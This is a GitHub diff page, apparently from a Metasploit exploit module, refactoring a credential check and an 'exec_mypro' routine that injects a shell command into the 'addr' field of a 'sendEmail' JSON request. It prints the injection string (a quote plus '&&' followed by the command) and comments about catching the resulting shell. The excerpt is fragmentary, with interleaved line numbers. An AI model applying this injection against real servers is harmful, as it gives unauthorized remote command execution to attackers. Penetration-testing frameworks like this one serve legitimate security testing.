You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
fail_with(Failure::Unreachable,'Failed to receive a reply from the server.')
132
120
end
133
-
ifres && res.code == 401
134
-
fail_with(Failure::NoAccess,'Unauthorized access. Are your credentials correct?')
135
-
end
136
-
ifres && res.code == 200
121
+
caseres.code
122
+
when200
137
123
print_good('Credentials are working.')
124
+
when401
125
+
fail_with(Failure::NoAccess,'Unauthorized access. Are your credentials correct?')
126
+
else
127
+
fail_with(Failure::UnexpectedReply,'Unexpected reply from the target.')
138
128
end
139
129
end
140
130
@@ -147,7 +137,7 @@ def exec_mypro(cmd)
147
137
148
138
post_data={
149
139
'type'=>'sendEmail',
150
-
'addr'=>'addr' + '"&&' + cmd
140
+
'addr'=>"addr\"&&#{cmd}"
151
141
}
152
142
post_json=JSON.generate(post_data)
153
143
@@ -162,9 +152,7 @@ def exec_mypro(cmd)
162
152
163
153
})
164
154
165
-
# unless res # We don't fail from this check because the server will wait until the injected command got executed before returning a response. Typically, this will simply result in a 504 Gateway Time-out error after some time, but there is no indication on whether the injected payload got successfully executed or not from the server response.
166
-
# print_status("Failed to receive a reply from the server, probably waiting on injected command to finish. Check if you got a shell already.")
167
-
# end
155
+
# We don't fail if no response is received, as the server will wait until the injected command got executed before returning a response. Typically, this will simply result in a 504 Gateway Time-out error after some time, but there is no indication on whether the injected payload got successfully executed or not from the server response.
168
156
169
157
ifres && res.code == 200# If the injected command executed and terminated within the timeout, a HTTP status code of 200 is returned.
170
158
print_good('Command successfully executed, check your shell.')
0 commit comments